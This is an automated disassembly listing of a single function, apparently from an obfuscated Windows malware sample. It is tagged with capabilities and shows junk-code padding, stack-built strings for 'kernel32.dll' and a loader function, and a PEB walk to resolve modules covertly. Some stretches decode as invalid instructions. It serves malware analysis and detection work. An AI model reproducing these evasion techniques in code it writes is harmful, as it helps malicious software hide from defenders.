Function at 0x442923
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
add esp, 4
jmp 0x442620
pop eax
push ebx
or ebx, 0x15089
xor ebx, 0xe60
pop ebx
cmp dword [ebp - 0x15f8], 0
jne 0x442647
mov dword [ebp - 0x2f8], 0
jmp 0x442903
mov eax, dword [ebp - 0x15f8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xcb4], edx
push ecx
push ecx
add esp, 4
xor ecx, 0xc48c
or ecx, 0x4a37
and ecx, 0x4ba5
pop ecx
push edi
or edi, 0xbaaf
and edi, 0x4d7f
add edi, 0x11fe4
add edi, 0x11035
pop edi
cmp dword [ebp - 0xcb4], 0
jne 0x4426a3
mov dword [ebp - 0x2f8], 0
jmp 0x442903
mov eax, dword [ebp - 0xcb4]
mov dword [ebp - 0x458], eax
push ecx
or ecx, 0x47ba
and ecx, 0x18297
pop ecx
push ebx
push ecx
add esp, 4
call 0x4426d1
add byte [esi + eax*2 + 0x32], al
cmp edi, dword [ecx]
inc esi
cmp bh, byte [edi]
xor eax, dword [ebx + 0x565b04c4]
push edx
add esp, 4
xor esi, 0x14463
pop esi
lea ecx, [ebp - 0x1770]
mov dword [ebp - 0xcb0], ecx
mov edx, dword [ebp - 0x458]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xcac], eax
xor ecx, ecx
mov word [ebp - 0x1bc], cx
xor edx, edx
mov word [ebp - 0x110], dx
push edi
push edi
add esp, 4
or edi, 0x8116
or edi, 0x134b9
pop edi
push edx
push edi
add esp, 4
jmp 0x44272d
and edx, 0x5c27
sub edx, 0x7dd5
add edx, 0x7120
pop edx
mov eax, dword [ebp - 0xcac]
mov cx, word [eax]
mov word [ebp - 0xc40], cx
mov edx, dword [ebp - 0xcac]
add edx, 2
mov dword [ebp - 0xcac], edx
mov ax, word [ebp - 0xc40]
mov word [ebp - 0x1bc], ax
mov ecx, dword [ebp - 0xcb0]
mov dx, word [ecx]
mov word [ebp - 0xfca], dx
mov eax, dword [ebp - 0xcb0]
add eax, 2
mov dword [ebp - 0xcb0], eax
mov cx, word [ebp - 0xfca]
mov word [ebp - 0x110], cx
push ebx
push ebx
add esp, 4
add ebx, 0x1729
sub ebx, 0xb095
sub ebx, 0x174b
or ebx, 0x11ead
pop ebx
push edi
and edi, 0xf211
xor edi, 0xd3b3
or edi, 0x6d6c
pop edi
movzx edx, word [ebp - 0x110]
test edx, edx
jne 0x4427ef
movzx eax, word [ebp - 0x1bc]
movzx ecx, word [ebp - 0x110]
sub eax, ecx
mov dword [ebp - 0x1600], eax
jmp 0x442852
movzx edx, word [ebp - 0x1bc]
movzx eax, word [ebp - 0x110]
cmp edx, eax
je 0x44270e
movzx ecx, word [ebp - 0x1bc]
xor ecx, 0x20
movzx edx, word [ebp - 0x110]
cmp ecx, edx
je 0x44270e
movzx eax, word [ebp - 0x1bc]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
jge 0x44283c
mov dword [ebp - 0x15fc], 0xffffffff
jmp 0x442846
mov dword [ebp - 0x15fc], 1
mov edx, dword [ebp - 0x15fc]
mov dword [ebp - 0x1600], edx
cmp dword [ebp - 0x1600], 0
jne 0x44289b
push edi
sub edi, 0x667c
xor edi, 0x11be0
sub edi, 0x5dda
pop edi
push ecx
push edx
add esp, 4
sub ecx, 0xab19
xor ecx, 0x3c68
or ecx, 0xc29a
add ecx, 0x168bd
pop ecx
mov eax, dword [ebp - 0x458]
mov dword [ebp - 0x2f8], eax
jmp 0x442903
push edx
and edx, 0xd637
or edx, 0x10bbb
or edx, 0x4abb
pop edx
push esi
push eax
add esp, 4
xor esi, 0x177e5
add esi, 0x15f05
add esi, 0x11bc9
or esi, 0x7382
pop esi
mov ecx, dword [ebp - 0x458]
mov edx, dword [ecx]
mov dword [ebp - 0x458], edx
mov eax, dword [ebp - 0x458]
cmp eax, dword [ebp - 0xcb4]
je 0x4428f9
mov ecx, dword [ebp - 0x458]
cmp dword [ecx + 0x30], 0
jne 0x4426af
mov dword [ebp - 0x2f8], 0
push eax
xor eax, 0xacf4
pop eax
push ecx
push ecx
add esp, 4
add ecx, 0x10557
call 0x442923
add byte [edx + esi + 0x4f], al
inc edx
aas
dec ebx
dec ebp
add esp, 4
pop ecx
push ecx
xor ecx, 0xda9
add ecx, 0x2cb3
pop ecx
cmp dword [ebp - 0x2f8], 0
jne 0x443239
mov edx, 0x6b
mov word [ebp - 0x17ac], dx
mov eax, 0x65
mov word [ebp - 0x17aa], ax
mov ecx, 0x72
mov word [ebp - 0x17a8], cx
mov edx, 0x6e
mov word [ebp - 0x17a6], dx
mov eax, 0x65
mov word [ebp - 0x17a4], ax
mov ecx, 0x6c
add byte [eax], al
add byte [esi - 0x77], ah
lea ebx, [esi - 0x18]
invalid
invalid
mov edx, 0x33
mov word [ebp - 0x17a0], dx
mov eax, 0x32
mov word [ebp - 0x179e], ax
mov ecx, 0x2e
mov word [ebp - 0x179c], cx
mov edx, 0x64
mov word [ebp - 0x179a], dx
mov eax, 0x6c
mov word [ebp - 0x1798], ax
mov ecx, 0x6c
mov word [ebp - 0x1796], cx
xor edx, edx
mov word [ebp - 0x1794], dx
push edi
jmp 0x4429e5
jmp 0x4429ea
pop edi
push edi
sub edi, 0xedc8
and edi, 0x8242
or edi, 0x890e
and edi, 0x1848e
pop edi
push ecx
and ecx, 0x16248
pop ecx
mov byte [ebp - 0x8bc], 0x4c
mov byte [ebp - 0x8bb], 0x6f
mov byte [ebp - 0x8ba], 0x61
jmp dword [ecx - 0x3a]
test dword [edi - 9], eax
invalid
jmp dword [esi + eax*8 - 0x7b]
dec eax
idiv edi
dec dword [esi + eax*8 - 0x7b]
dec ecx
idiv edi
jmp [ecx - 0x3a]
test dword [edx - 9], ecx
invalid
jmp dword [edx - 0x3a]
test dword [ebx - 9], ecx
invalid
push dword [edx - 0x3a]
test dword [edi + esi*8 - 1], ecx
jmp dword [ecx - 0x3a]
test dword [ebp - 9], ecx
invalid
push dword [edx - 0x3a]
test dword [esi - 9], ecx
invalid
invalid
jns 0x442a21
test dword [edi - 9], ecx
invalid
call dword [edi - 0x3a]
test dword [eax - 9], edx
invalid
inc dword [eax]
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1990], eax
mov ecx, dword [ebp - 0x1990]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1994], edx
mov eax, dword [ebp - 0x1994]
mov dword [ebp - 0x1604], eax
push edi
and edi, 0x15000
and edi, 0xef7a
pop edi
push ecx
push ecx
add esp, 4
and ecx, 0x17bb4
or ecx, 0x10887
xor ecx, 0x7bbb
pop ecx
push edi
push ebx
add esp, 4
and edi, 0x7f3c
pop edi
cmp dword [ebp - 0x1604], 0
jne 0x442ad9
mov dword [ebp - 0x760], 0
jmp 0x442d80
mov ecx, dword [ebp - 0x1604]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc0], eax
push edx
jmp 0x442af4
pop edx
push ecx
push edx
add esp, 4
sub ecx, 0x990b
pop ecx
push ebx
add ebx, 0x6118
pop ebx
push ecx
xor ecx, 0x3c8d
and ecx, 0x14c58
add ecx, 0xf974
pop ecx
cmp dword [ebp - 0xcc0], 0
jne 0x442b35
mov dword [ebp - 0x760], 0
jmp 0x442d80
mov ecx, dword [ebp - 0xcc0]
mov dword [ebp - 0x454], ecx